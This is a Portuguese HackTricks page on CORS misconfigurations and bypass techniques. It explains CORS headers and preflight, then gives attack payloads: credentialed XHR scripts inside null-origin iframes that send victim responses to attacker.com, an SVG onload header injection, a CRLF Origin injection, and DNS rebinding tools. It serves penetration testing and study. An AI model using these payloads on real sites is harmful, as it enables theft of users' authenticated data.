CORS - Misconfigurations & Bypass

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

O que é CORS?

Cross-Origin Resource Sharing (CORS) padrão permite que servidores definam quem pode acessar seus ativos e quais métodos de solicitação HTTP são permitidos por fontes externas.

Uma política de mesma origem exige que um servidor solicitante de um recurso e o servidor que hospeda o recurso compartilhem o mesmo protocolo (por exemplo, http://), nome de domínio (por exemplo, internal-web.com), e porta (por exemplo, 80). Sob essa política, apenas páginas da web do mesmo domínio e porta têm permissão para acessar os recursos.

A aplicação da política de mesma origem no contexto de http://normal-website.com/example/example.html é ilustrada da seguinte forma:

URL acessadaAcesso permitido?

http://normal-website.com/example/

Sim: Esquema, domínio e porta idênticos

http://normal-website.com/example2/

Sim: Esquema, domínio e porta idênticos

https://normal-website.com/example/

Não: Esquema e porta diferentes

http://en.normal-website.com/example/

Não: Domínio diferente

http://www.normal-website.com/example/

Não: Domínio diferente

http://normal-website.com:8080/example/

Não: Porta diferente*

*O Internet Explorer ignora o número da porta na aplicação da política de mesma origem, permitindo assim esse acesso.

Cabeçalho Access-Control-Allow-Origin

Este cabeçalho pode permitir múltiplas origens, um valor null, ou um caractere curinga *. No entanto, nenhum navegador suporta múltiplas origens, e o uso do caractere curinga * está sujeito a limitações. (O caractere curinga deve ser usado sozinho, e seu uso junto com Access-Control-Allow-Credentials: true não é permitido.)

Este cabeçalho é emitido por um servidor em resposta a uma solicitação de recurso entre domínios iniciada por um site, com o navegador adicionando automaticamente um cabeçalho Origin.

Cabeçalho Access-Control-Allow-Credentials

Por padrão, solicitações entre origens são feitas sem credenciais como cookies ou o cabeçalho de Autorização. No entanto, um servidor entre domínios pode permitir a leitura da resposta quando as credenciais são enviadas configurando o cabeçalho Access-Control-Allow-Credentials para true.

Se configurado como true, o navegador transmitirá credenciais (cookies, cabeçalhos de autorização ou certificados de cliente TLS).

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);
fetch(url, {
credentials: 'include'
})
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');

Solicitação de pré-voo CSRF

Compreensão das Solicitações de Pré-voo na Comunicação entre Domínios

Ao iniciar uma solicitação entre domínios sob condições específicas, como usar um método HTTP não padrão (qualquer coisa além de HEAD, GET, POST), introduzir novos cabeçalhos, ou empregar um valor de cabeçalho Content-Type especial, uma solicitação de pré-voo pode ser necessária. Essa solicitação preliminar, aproveitando o método OPTIONS, serve para informar o servidor sobre as intenções da futura solicitação entre origens, incluindo os métodos e cabeçalhos HTTP que pretende usar.

O protocolo de Compartilhamento de Recursos de Origem Cruzada (CORS) exige essa verificação de pré-voo para determinar a viabilidade da operação entre origens solicitada, verificando os métodos permitidos, cabeçalhos e a confiabilidade da origem. Para uma compreensão detalhada das condições que contornam a necessidade de uma solicitação de pré-voo, consulte o guia abrangente fornecido pela Mozilla Developer Network (MDN).

É crucial observar que a ausência de uma solicitação de pré-voo não anula a necessidade de a resposta conter cabeçalhos de autorização. Sem esses cabeçalhos, o navegador fica incapacitado em sua capacidade de processar a resposta da solicitação entre origens.

Considere a seguinte ilustração de uma solicitação de pré-voo destinada a empregar o método PUT juntamente com um cabeçalho personalizado chamado Special-Request-Header:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

Em resposta, o servidor pode retornar cabeçalhos indicando os métodos aceitos, a origem permitida e outros detalhes da política CORS, conforme mostrado abaixo:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: Este cabeçalho especifica quais cabeçalhos podem ser usados durante a solicitação real. É definido pelo servidor para indicar os cabeçalhos permitidos em solicitações do cliente.

  • Access-Control-Expose-Headers: Através deste cabeçalho, o servidor informa o cliente sobre quais cabeçalhos podem ser expostos como parte da resposta, além dos cabeçalhos de resposta simples.

  • Access-Control-Max-Age: Este cabeçalho indica por quanto tempo os resultados de uma solicitação prévia podem ser armazenados em cache. O servidor define o tempo máximo, em segundos, que as informações retornadas por uma solicitação prévia podem ser reutilizadas.

  • Access-Control-Request-Headers: Usado em solicitações prévias, este cabeçalho é definido pelo cliente para informar ao servidor quais cabeçalhos HTTP o cliente deseja usar na solicitação real.

  • Access-Control-Request-Method: Este cabeçalho, também usado em solicitações prévias, é definido pelo cliente para indicar qual método HTTP será usado na solicitação real.

  • Origin: Este cabeçalho é definido automaticamente pelo navegador e indica a origem da solicitação entre origens. É usado pelo servidor para avaliar se a solicitação recebida deve ser permitida ou negada com base na política CORS.

Observe que geralmente (dependendo do tipo de conteúdo e cabeçalhos definidos) em uma solicitação GET/POST nenhum pedido de pré-voo é enviado (a solicitação é enviada diretamente), mas se você deseja acessar os cabeçalhos/corpo da resposta, ela deve conter um cabeçalho Access-Control-Allow-Origin permitindo isso. Portanto, CORS não protege contra CSRF (mas pode ser útil).

Solicitação de Rede Local Pré-voo

  1. Access-Control-Request-Local-Network: Este cabeçalho é incluído na solicitação do cliente para indicar que a consulta é direcionada a um recurso de rede local. Ele serve como um marcador para informar ao servidor que a solicitação se origina de dentro da rede local.

  2. Access-Control-Allow-Local-Network: Em resposta, os servidores utilizam este cabeçalho para comunicar que o recurso solicitado tem permissão para ser compartilhado com entidades fora da rede local. Ele atua como um sinal verde para compartilhar recursos em diferentes limites de rede, garantindo acesso controlado enquanto mantém protocolos de segurança.

Uma resposta válida permitindo a solicitação de rede local também precisa ter na resposta o cabeçalho Access-Controls-Allow-Local_network: true:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

Note que o IP 0.0.0.0 do linux funciona para burlar esses requisitos de acesso ao localhost, pois esse endereço IP não é considerado "local".

Também é possível burlar os requisitos da Rede Local se você usar o endereço IP público de um ponto de extremidade local (como o IP público do roteador). Pois em várias ocasiões, mesmo se o IP público estiver sendo acessado, se for da rede local, o acesso será concedido.

Configurações incorretas exploráveis

Foi observado que a definição de Access-Control-Allow-Credentials como true é um requisito para a maioria dos ataques reais. Essa configuração permite que o navegador envie credenciais e leia a resposta, aumentando a eficácia do ataque. Sem isso, o benefício de fazer com que um navegador emita uma solicitação em vez de fazê-lo manualmente diminui, pois torna-se inviável aproveitar os cookies do usuário.

Exceção: Explorando a Localização da Rede como Autenticação

Existe uma exceção onde a localização da rede da vítima atua como uma forma de autenticação. Isso permite que o navegador da vítima seja usado como um proxy, contornando a autenticação baseada em IP para acessar aplicativos de intranet. Este método compartilha semelhanças de impacto com o DNS rebinding, mas é mais simples de explorar.

Reflexão de Origin em Access-Control-Allow-Origin

O cenário do mundo real onde o valor do cabeçalho Origin é refletido em Access-Control-Allow-Origin é teoricamente improvável devido às restrições de combinação desses cabeçalhos. No entanto, desenvolvedores que buscam habilitar o CORS para vários URLs podem gerar dinamicamente o cabeçalho Access-Control-Allow-Origin copiando o valor do cabeçalho Origin. Essa abordagem pode introduzir vulnerabilidades, especialmente quando um atacante utiliza um domínio com um nome projetado para parecer legítimo, enganando assim a lógica de validação.

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>

Explorando a Origem null

A origem null, especificada para situações como redirecionamentos ou arquivos HTML locais, possui uma posição única. Algumas aplicações colocam essa origem em uma lista branca para facilitar o desenvolvimento local, permitindo inadvertidamente que qualquer site imite uma origem null por meio de um iframe isolado, assim contornando as restrições do CORS.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Técnicas de Bypass de Expressão Regular

Ao encontrar uma lista branca de domínios, é crucial testar oportunidades de bypass, como anexar o domínio do atacante a um domínio da lista branca ou explorar vulnerabilidades de subdomínio. Além disso, as expressões regulares usadas para validação de domínio podem ignorar nuances nas convenções de nomenclatura de domínio, apresentando mais oportunidades de bypass.

Bypasses Avançados de Expressão Regular

Padrões de regex geralmente se concentram em caracteres alfanuméricos, ponto (.), e hífen (-), negligenciando outras possibilidades. Por exemplo, um nome de domínio criado para incluir caracteres interpretados de forma diferente pelos navegadores e padrões de regex pode contornar verificações de segurança. O tratamento de caracteres de subdomínio de sublinhado por Safari, Chrome e Firefox ilustra como tais discrepâncias podem ser exploradas para contornar a lógica de validação de domínio.

Para mais informações e configurações deste check de bypass: https://www.corben.io/advanced-cors-techniques/ e https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

A partir de XSS dentro de um subdomínio

Os desenvolvedores frequentemente implementam mecanismos defensivos para proteger contra a exploração de CORS, listando os domínios que têm permissão para solicitar informações. Apesar dessas precauções, a segurança do sistema não é infalível. A presença de um único subdomínio vulnerável dentro dos domínios da lista branca pode abrir a porta para a exploração de CORS por meio de outras vulnerabilidades, como XSS (Cross-Site Scripting).

Para ilustrar, considere o cenário em que um domínio, requester.com, está na lista branca para acessar recursos de outro domínio, provider.com. A configuração do lado do servidor pode se parecer com isso:

if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
} else {
// Unauthorized access
}

Nesta configuração, todos os subdomínios de requester.com têm acesso permitido. No entanto, se um subdomínio, como sub.requester.com, for comprometido com uma vulnerabilidade de XSS, um atacante pode aproveitar essa fraqueza. Por exemplo, um atacante com acesso a sub.requester.com poderia explorar a vulnerabilidade de XSS para contornar as políticas de CORS e acessar maliciosamente recursos em provider.com.

Envenenamento de cache do lado do servidor

A partir desta pesquisa

É possível que, ao explorar o envenenamento de cache do lado do servidor por meio da injeção de cabeçalho HTTP, uma vulnerabilidade armazenada de Cross-Site Scripting (XSS) possa ser induzida. Este cenário se desenrola quando uma aplicação falha em sanitizar o cabeçalho Origin para caracteres ilegais, criando uma vulnerabilidade especialmente para usuários do Internet Explorer e Edge. Esses navegadores tratam (0x0d) como um terminador de cabeçalho HTTP legítimo, levando a vulnerabilidades de injeção de cabeçalho HTTP.

Considere a seguinte solicitação onde o cabeçalho Origin é manipulado:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer e Edge interpretam a resposta como:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Embora explorar diretamente essa vulnerabilidade fazendo com que um navegador da web envie um cabeçalho malformado não seja viável, uma solicitação elaborada pode ser gerada manualmente usando ferramentas como o Burp Suite. Este método poderia levar a um cache do lado do servidor salvando a resposta e inadvertidamente servindo-a para outros. A carga elaborada tem como objetivo alterar o conjunto de caracteres da página para UTF-7, uma codificação de caracteres frequentemente associada a vulnerabilidades XSS devido à sua capacidade de codificar caracteres de forma que possam ser executados como script em certos contextos.

Para mais informações sobre vulnerabilidades XSS armazenadas, consulte PortSwigger.

Nota: A exploração de vulnerabilidades de injeção de cabeçalho HTTP, especialmente por meio de envenenamento de cache do lado do servidor, destaca a importância crítica de validar e sanitizar toda entrada fornecida pelo usuário, incluindo cabeçalhos HTTP. Sempre empregue um modelo de segurança robusto que inclua validação de entrada para prevenir tais vulnerabilidades.

Envenenamento de cache do lado do cliente

A partir desta pesquisa

Neste cenário, uma instância de uma página da web refletindo o conteúdo de um cabeçalho HTTP personalizado sem codificação adequada é observada. Especificamente, a página da web reflete de volta o conteúdo incluído em um cabeçalho X-User-id, que poderia incluir JavaScript malicioso, conforme demonstrado pelo exemplo em que o cabeçalho contém uma tag de imagem SVG projetada para executar código JavaScript ao carregar.

As políticas de Compartilhamento de Recursos de Origem Cruzada (CORS) permitem o envio de cabeçalhos personalizados. No entanto, sem a resposta sendo renderizada diretamente pelo navegador devido a restrições do CORS, a utilidade de tal injeção pode parecer limitada. O ponto crítico surge ao considerar o comportamento de cache do navegador. Se o cabeçalho Vary: Origin não for especificado, torna-se possível que a resposta maliciosa seja armazenada em cache pelo navegador. Posteriormente, essa resposta em cache poderia ser renderizada diretamente ao navegar para a URL, contornando a necessidade de renderização direta na solicitação inicial. Esse mecanismo aprimora a confiabilidade do ataque ao aproveitar o cache do lado do cliente.

Para ilustrar esse ataque, é fornecido um exemplo de JavaScript, projetado para ser executado no ambiente de uma página da web, como através de um JSFiddle. Este script realiza uma ação simples: ele envia uma solicitação para uma URL especificada com um cabeçalho personalizado contendo o JavaScript malicioso. Após a conclusão bem-sucedida da solicitação, ele tenta navegar para a URL de destino, potencialmente acionando a execução do script injetado se a resposta tiver sido armazenada em cache sem o tratamento adequado do cabeçalho Vary: Origin.

Aqui está uma quebra resumida do JavaScript usado para executar este ataque:

<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>

Bypass

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, também conhecido como Inclusão de Script de Sites Cruzados, é um tipo de vulnerabilidade que se aproveita do fato de que a Política de Mesma Origem (SOP) não se aplica ao incluir recursos usando a tag de script. Isso ocorre porque os scripts precisam poder ser incluídos de diferentes domínios. Essa vulnerabilidade permite que um atacante acesse e leia qualquer conteúdo que tenha sido incluído usando a tag de script.

Essa vulnerabilidade se torna particularmente significativa quando se trata de JavaScript dinâmico ou JSONP (JSON com Padding), especialmente quando informações de autoridade ambiente como cookies são usadas para autenticação. Ao solicitar um recurso de um host diferente, os cookies são incluídos, tornando-os acessíveis ao atacante.

Para entender melhor e mitigar essa vulnerabilidade, você pode usar o plugin BurpSuite disponível em https://github.com/kapytein/jsonp. Esse plugin pode ajudar a identificar e resolver potenciais vulnerabilidades de XSSI em suas aplicações web.

Leia mais sobre os diferentes tipos de XSSI e como explorá-los aqui.

Tente adicionar um parâmetro de callback na solicitação. Talvez a página tenha sido preparada para enviar os dados como JSONP. Nesse caso, a página enviará os dados de volta com Content-Type: application/javascript, o que irá contornar a política de CORS.

Bypass Fácil (inútil?)

Uma maneira de contornar a restrição Access-Control-Allow-Origin é solicitando que uma aplicação web faça uma solicitação em seu nome e envie a resposta de volta. No entanto, nesse cenário, as credenciais da vítima final não serão enviadas, pois a solicitação é feita para um domínio diferente.

  1. CORS-escape: Esta ferramenta fornece um proxy que encaminha sua solicitação juntamente com seus cabeçalhos, enquanto também falsifica o cabeçalho de Origem para corresponder ao domínio solicitado. Isso contorna efetivamente a política de CORS. Aqui está um exemplo de uso com XMLHttpRequest:

  2. simple-cors-escape: Esta ferramenta oferece uma abordagem alternativa para encaminhar solicitações. Em vez de passar sua solicitação como está, o servidor faz sua própria solicitação com os parâmetros especificados.

Bypass Iframe + Popup

Você pode contornar as verificações de CORS como e.origin === window.origin criando um iframe e abrindo uma nova janela a partir dele. Mais informações na seguinte página:

pageIframes in XSS, CSP and SOP

Rebinding de DNS via TTL

O rebinding de DNS via TTL é uma técnica usada para contornar certas medidas de segurança manipulando registros DNS. Veja como funciona:

  1. O atacante cria uma página da web e faz a vítima acessá-la.

  2. O atacante então altera o DNS (IP) de seu próprio domínio para apontar para a página da web da vítima.

  3. O navegador da vítima armazena em cache a resposta do DNS, que pode ter um valor de TTL (Tempo de Vida) indicando por quanto tempo o registro DNS deve ser considerado válido.

  4. Quando o TTL expira, o navegador da vítima faz uma nova solicitação DNS, permitindo que o atacante execute código JavaScript na página da vítima.

  5. Mantendo o controle sobre o IP da vítima, o atacante pode coletar informações da vítima sem enviar cookies para o servidor da vítima.

É importante observar que os navegadores possuem mecanismos de cache que podem impedir o abuso imediato dessa técnica, mesmo com valores baixos de TTL.

O rebinding de DNS pode ser útil para contornar verificações explícitas de IP realizadas pela vítima ou para cenários em que um usuário ou bot permanece na mesma página por um período prolongado, permitindo que o cache expire.

Se você precisa de uma maneira rápida de abusar do rebinding de DNS, você pode usar serviços como https://lock.cmpxchg8b.com/rebinder.html.

Para executar seu próprio servidor de rebinding de DNS, você pode utilizar ferramentas como DNSrebinder (https://github.com/mogwailabs/DNSrebinder). Isso envolve expor a porta local 53/udp, criar um registro A apontando para ele (por exemplo, ns.example.com) e criar um registro NS apontando para o subdomínio A criado anteriormente (por exemplo, ns.example.com). Qualquer subdomínio do subdomínio ns.example.com será então resolvido pelo seu host.

Você também pode explorar um servidor em execução publicamente em http://rebind.it/singularity.html para uma melhor compreensão e experimentação.

Rebinding de DNS via Cache

Outra maneira de contornar a defesa de cache é utilizando vários endereços IP para o mesmo subdomínio no provedor de DNS. Veja como funciona:

  1. O atacante configura dois registros A (ou um único registro A com dois IPs) para o mesmo subdomínio no provedor de DNS.

  2. Quando um navegador verifica esses registros, ele recebe ambos os endereços IP.

  3. Se o navegador decidir usar primeiro o endereço IP do atacante, o atacante pode enviar um payload que realiza solicitações HTTP para o mesmo domínio.

  4. No entanto, uma vez que o atacante obtém o endereço IP da vítima, ele para de responder ao navegador da vítima.

  5. O navegador da vítima, ao perceber que o domínio não está respondendo, passa a usar o segundo endereço IP fornecido.

  6. Ao acessar o segundo endereço IP, o navegador contorna a Política de Mesma Origem (SOP), permitindo que o atacante abuse disso e colete e exfiltre informações.

Essa técnica aproveita o comportamento dos navegadores quando múltiplos endereços IP são fornecidos para um domínio. Ao controlar estrategicamente as respostas e manipular a escolha do endereço IP pelo navegador, um atacante pode explorar o SOP e acessar informações da vítima.

Observe que, para acessar o localhost, você deve tentar restringir 127.0.0.1 no Windows e 0.0.0.0 no Linux. Provedores como godaddy ou cloudflare não me permitiram usar o IP 0.0.0.0, mas a AWS route53 me permitiu criar um registro A com 2 IPs, sendo um deles "0.0.0.0"

Para mais informações, você pode verificar https://unit42.paloaltonetworks.com/dns-rebinding/

Outros Desvios Comuns

  • Se os IPs internos não forem permitidos, eles podem ter esquecido de proibir 0.0.0.0 (funciona no Linux e Mac)

  • Se os IPs internos não forem permitidos, responda com um CNAME para localhost (funciona no Linux e Mac)

  • Se os IPs internos não forem permitidos como respostas DNS, você pode responder com CNAMEs para serviços internos como www.corporate.internal.

Arma de Rebinding de DNS

Você pode encontrar mais informações sobre as técnicas de desvio anteriores e como usar a seguinte ferramenta na palestra Gerald Doussot - Estado dos Ataques de Rebinding de DNS & Singularidade de Origem - Conferência DEF CON 27.

Singularidade de Origem é uma ferramenta para realizar ataques de rebinding de DNS. Inclui os componentes necessários para reverter o endereço IP do nome DNS do servidor de ataque para o endereço IP da máquina alvo e para servir payloads de ataque para explorar software vulnerável na máquina alvo.

Proteção Real contra Rebinding de DNS

  • Use TLS em serviços internos

  • Solicite autenticação para acessar dados

  • Valide o cabeçalho Host

  • https://wicg.github.io/private-network-access/: Proposta para sempre enviar uma solicitação de pré-voo quando servidores públicos desejam acessar servidores internos

Ferramentas

Fuzz possíveis configurações incorretas em políticas CORS

Referências

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Last updated